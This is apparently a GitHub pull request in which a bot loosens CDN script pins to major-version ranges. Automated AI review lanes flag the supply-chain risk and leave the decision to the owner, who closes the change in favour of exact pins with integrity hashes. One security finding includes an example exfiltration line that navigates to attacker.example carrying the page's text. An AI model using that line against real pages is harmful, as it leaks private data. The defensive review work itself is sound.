Repository navigation
fix(rendered-views): pin CDN libraries to a major version, not an exact one - #17742
melodic-automation-lanes[bot] wants to merge 2 commits into
Conversation
Lane-Activity: work-resolve-issue/resolve-issue
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
| <script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4/dist/index.global.js"></script> | ||
| <script src="https://cdn.jsdelivr.net/npm/mermaid@12/dist/mermaid.min.js"></script> |
There was a problem hiding this comment.
A floating major-version range runs whatever npm last published, with no integrity check.
An npm version cannot be republished, so [email protected] and @tailwindcss/[email protected] were fixed code. mermaid@12 and @tailwindcss/browser@4 now resolve on jsDelivr to the newest release inside the major, checked each time the page loads. These tags have no integrity= attribute, and a range cannot have one, because its bytes change with every publish.
Exploit path. Someone takes over a maintainer account for either package (the 2025 npm worm and chalk/debug takeovers worked this way) and publishes a malicious 12.x.y or 4.x.y. That code then runs in every deepening report generated after the publish. It also runs in older reports: they stay in the temp directory and pick up the new code the next time they are opened. The page holds the scanned repository's module names, call graphs and candidate notes. The policy on line 20 is default-src 'none', which blocks fetch, XHR and image beacons. CSP does not govern a top-level navigation, though, so location.href = 'https://attacker.example/?d=' + encodeURIComponent(document.body.innerText) still sends that content out. With exact pins, a malicious publish never reached the page.
The same loosening is in the CSP on line 20 and in the contract text it follows, docs/contracts/rendered-views/README.md lines 720-724. That text now permits major ranges for every rendered view that adopts the baseline.
Fix. Keep exact pins and add integrity="sha384-…" with crossorigin="anonymous" to each <script>. Get security fixes through the recheck trigger the paragraph already names (an advisory naming the pinned version), not through a range. If the owner accepts the risk in exchange for automatic patches, say so in the baseline so the trade-off is on record.
severity: IMPORTANT
claude-lane: claude-security-review
There was a problem hiding this comment.
pr-unblock / address-feedback: UNCERTAIN, left open
Evidence: plugins/architecture/skills/improve/research/deepening/html-report.md:20, plugins/architecture/skills/improve/research/deepening/html-report.md:38, docs/contracts/rendered-views/README.md:721
The exploit path is accurate: a range such as mermaid@12 cannot carry an integrity attribute, and a CSP does not govern top-level navigation. But moving to major-version pins is exactly what the closing issue #17718 asks for. The pull request makes that change across the rendered-views contract (README lines 720-724 and its CHANGELOG), the chrome references in four plugins, the adhd clarify baseline copy, the deepening report scaffold, the contract clause registry and the report eval graders. Going back to exact pins with sha384 integrity would undo the issue's stated goal across all of those files. Writing a risk acceptance into the baseline is a policy decision for the owner, not for this lane. So this needs a person: either keep major pins and record the accepted supply-chain risk in the contract's Security baseline, or reverse #17718's direction and restore exact pins with SRI hashes.
|
claude-security-review reviewed Security review (incremental): PR #17742, since 10a6787Scope. This push changes one file, What changed. The paragraph is reworded. The jsDelivr citation now points at the README's npm section. The paragraph also now says the 12.3.0 / 4.3.5 render check ran under the earlier exact-version policy, and that the scaffold has not yet been rendered with the major-version URLs. This makes the record more honest. It changes no behaviour: the CSP on line 20 and the The earlier finding is still open. The scaffold still loads
No new findings. The push touches no trust control, workflow, token, manifest or merge-hold file. The changed text holds no embedded directives. Spend: none. The change is documentation prose only. critical-findings: 0 |
|
claude-review reviewed Code review (incremental, blocking only): PR #17742Scope: this round covers only what changed since Prior findings:
Loosened checks: nothing in this increment changes what a check accepts. The prompt gave no Other:
Verifier dropped 0 of 1 candidates. I sent no verifier subagent: I checked the single candidate against the PR context file myself. |
There was a problem hiding this comment.
The pr-verify verifier failed head 10a67876d2c7eb4797feee5ac06bc10e0d395abe. What it wrote, as data:
What it wrote (30 lines)
Summary: Issue #17718 asks for two things: CDN libraries in rendered views are pinned to a major
version, and each page renders under its policy in headless Chromium. The text and URL changes are
complete and consistent. The contract README bullet now says major version, keeps `@latest` ruled
out and states the recheck trigger. The rendered-views CHANGELOG has a new entry. The
`cdn-pinned-version` registry pattern and hint, the shared chrome and its four generated copies,
and the adhd:clarify and architecture:improve restatements all carry the new wording. The
deepening scaffold's policy and both script tags use `@tailwindcss/browser@4` and `mermaid@12`.
The plugin README, the eval graders and the eval samples follow. The architecture changelog entry
arrives as a `.changes/` fragment, which is acceptable. All CI jobs on the judged head passed
(Test Python, Check Plugins, Check Skills, Lint Repo, Test Bash and Test Node; e.g.
https://github.com/melodic-software/claude-code-plugins/actions/runs/44850034021/job/136679216392).
Check Tests was skipped, but this diff changes no test files. Nothing shows the render item was
done: the PR body says the headless Chromium render was not run, and no CI job renders the page.
The issue lists no `person_checks` and no credited siblings, so that item is still required. The
scaffold also still says a 2026-11-15 render ran "under this policy", but that render used the old
exact-version policy. Separately, the change loosens a security policy (the page's CSP now allows
any 12.x or 4.x build the CDN serves). The issue cites the owner's decision only in prose, with no
owner-decisions record link and no verbatim quote. I found no secrets, no takeover-set changes and
no text trying to steer the reviewer.
- plugins/architecture/skills/improve/research/deepening/html-report.md:58 — Done-when item not
delivered: render the updated scaffold (CSP and script tags at `@tailwindcss/browser@4` and
`mermaid@12`) in headless Chromium. Confirm there is no CSP violation for either script and that
the page still shows its content when the CDN is unreachable. Record that render and its date
here. The current sentence says 12.3.0 and 4.3.5 rendered "under this policy" on 2026-11-15, but
that render used the old exact-version policy, so reword it to say so.
- plugins/architecture/skills/improve/research/deepening/html-report.md:20 — The policy now allows
any build jsDelivr serves under each major, which loosens the page's Content-Security-Policy. The
spec (issue #17718) records the owner's decision only as prose. Add a line link to the
owner-decisions record entry and the owner's words after `verbatim:` in double quotes to the
issue, or keep exact-version URLs until that record is cited.
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
|
Unattended merge: native auto-merge leaves this pull request unarmed at head |
Lane-Activity: pr-unblock/address-feedback Lane-Thread: PRRT_kwDOTCGFQM66PsTo Lane-Thread: PRRT_kwDOTCGFQM66PsTt
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
|
pr-unblock / address-feedback finished round 1 of max 4 on 6da34ed. |
| Read the chrome reference and put its three parts where the `CHROME` comments stand. The comment box is left out: a report is read, not answered. | ||
|
|
||
| The two library versions are exact, and each URL appears twice: in the policy and on its `<script>` tag. The policy names each file, never the CDN's origin. As of 2026-11-15: `mermaid` 12.3.0 and `@tailwindcss/browser` 4.3.5, the latest on the npm registry, rendered together under this policy in headless Chromium. Recheck trigger: either package publishes a new major version, or a security advisory names a pinned one; change all four URLs together and render the scaffold again. | ||
| Each library is pinned to its major version, so its minor and patch fixes arrive without a URL bump. Each URL appears twice: in the policy and on its `<script>` tag. The policy names each file, never the CDN's origin. How the CDN resolves a version range: the npm section of the [jsDelivr README](https://github.com/jsdelivr/jsdelivr/blob/master/README.md#npm). As of 2026-11-15, `mermaid` 12.3.0 and `@tailwindcss/browser` 4.3.5 rendered together in headless Chromium under the earlier policy, which named those exact versions; the scaffold has not yet been rendered under the major-version URLs above. Recheck trigger: either package publishes a new major version, or a security advisory names a pinned major; change all four URLs together and render the scaffold again. |
There was a problem hiding this comment.
The closing issue's render criterion is still not met.
The rewording fixes the earlier overstatement. The paragraph now says the 2026-11-15 render used the earlier exact-version policy, and that "the scaffold has not yet been rendered under the major-version URLs above." That is accurate, but it confirms the gap: #17718's "Done when" says "The contract and every CDN-loading view use major-version URLs, and each page renders under its policy in headless Chromium." The PR body's "Not verified" section says the same.
Merging with Closes #17718 closes the issue while one of its two criteria is still open.
To fix it, choose one:
- Render the scaffold under the
@tailwindcss/browser@4/mermaid@12policy in headless Chromium, then replace this sentence with a dated as-of line naming the versions jsDelivr served. - Or change
ClosestoRefs, or split the render into a follow-up issue, so the criterion stays tracked.
claude-lane: claude-review
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
|
The pr-unblock lane stopped
When a retry on this head can change the outcome, the lane runs one on its own, up to its per-head cap, and edits this comment if it stops again; a run that does not stop clears the status. When no retry can (a review thread the lane does not take or settle, or a failing check after the retries are spent), a person resolves the threads or gets the checks green, then dispatches the workflow below: that run finds the cause gone and clears the status. On a pull request the lanes App opened, the dispatchers start that run once per stop; on any other, a person does. A new commit to the branch starts clean. To run it again on this head now, dispatch the gh workflow run pr-unblock.yml -R melodic-software/claude-code-plugins -f pr-number=17742 -f activity=address-feedback |
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
There was a problem hiding this comment.
The pr-verify verifier failed head 6da34edea826b48aeedae7d77738ce44bee2418f. What it wrote, as data:
Summary: Issue #17718 asks for CDN libraries to be pinned to a major version instead of an exact
one. Its one done-when item has two halves: the contract and every CDN-loading view use
major-version URLs, and each page renders under its policy in headless Chromium. The first half is
delivered across every place the trusted refinement lists: the README baseline (with the recheck
trigger and `@latest` still ruled out), the CHANGELOG entry, the cdn-pinned-version registry
qualifier, lib/html-chrome.html and its four generated copies, the clarify and deepening
restatements, the html-report.md CSP and script tags, the architecture README, the eval graders
and samples (with new fail cases), and changelog fragments. The second half is not delivered. The
PR body lists the headless Chromium render under 'Not verified', and the diff's own html-report.md
says the scaffold has not yet been rendered under the major-version URLs. No person_checks or
credited_siblings excuse that item. upstream-jobs.json gives no test evidence either way, because
Select Tests was skipped (a re-run that ran no suite). The prior verifier verdict at head 10a6787
was also fail. No binary files, no takeover-set files and no text trying to steer the reviewer
were found.
- docs/contracts/rendered-views/README.md:721 — Moving from exact pins to major-version ranges
weakens a supply-chain guard: any new 12.x or 4.x publish loads into pages automatically, and a
range URL cannot carry an integrity hash. Issue #17718 says the owner decided this but holds no
owner-decisions.md line link and no verbatim owner quote. Add both to the issue, or record the
accepted risk in the Security baseline, before this lands.
|
pr-unblock / address-feedback finished round 2 of max 4 on 6da34ed. |
Lane run report
Failed GitHub API callsNo failed call recorded by the run job's scripts. |
|
Session hold (GitHub PRs lane): this change loosens a security control. Exact CDN pins become major-version ranges, which run whatever the package publishes next inside the major and cannot carry an integrity hash (thread PRRT_kwDOTCGFQM66Pqh_). Under the owner's rules, loosening a security control needs the owner's own words or an owner-decisions row. Issue #17718 cites neither, so this waits for the owner. A second item is also open: #17718's headless-Chromium render criterion (threads PRRT_kwDOTCGFQM66P463, PRRT_kwDOTCGFQM66P9pv). pr-verify has failed two heads (10a6787, 6da34ed), so no lane round runs until the owner decides. |
|
Closing on the owner's decision (Q1, 2026-11-20 ~10:4x PM EST, verbatim: "Go with recommendations"): keep exact CDN pins and add integrity (SRI) hashes, not major-version ranges. Issue #17718 gets reworded to match. A follow-up keeps the pins current through Dependabot instead of moving to ranges. |
Closes #17718
Summary
Opened by the work-resolve-issue lane. The run's own summary:
Not verified
Fix
Verification
The runner ran each check from the base copy against 10a6787:
The run reports:
Left out: the items under Not verified.
Related
#17718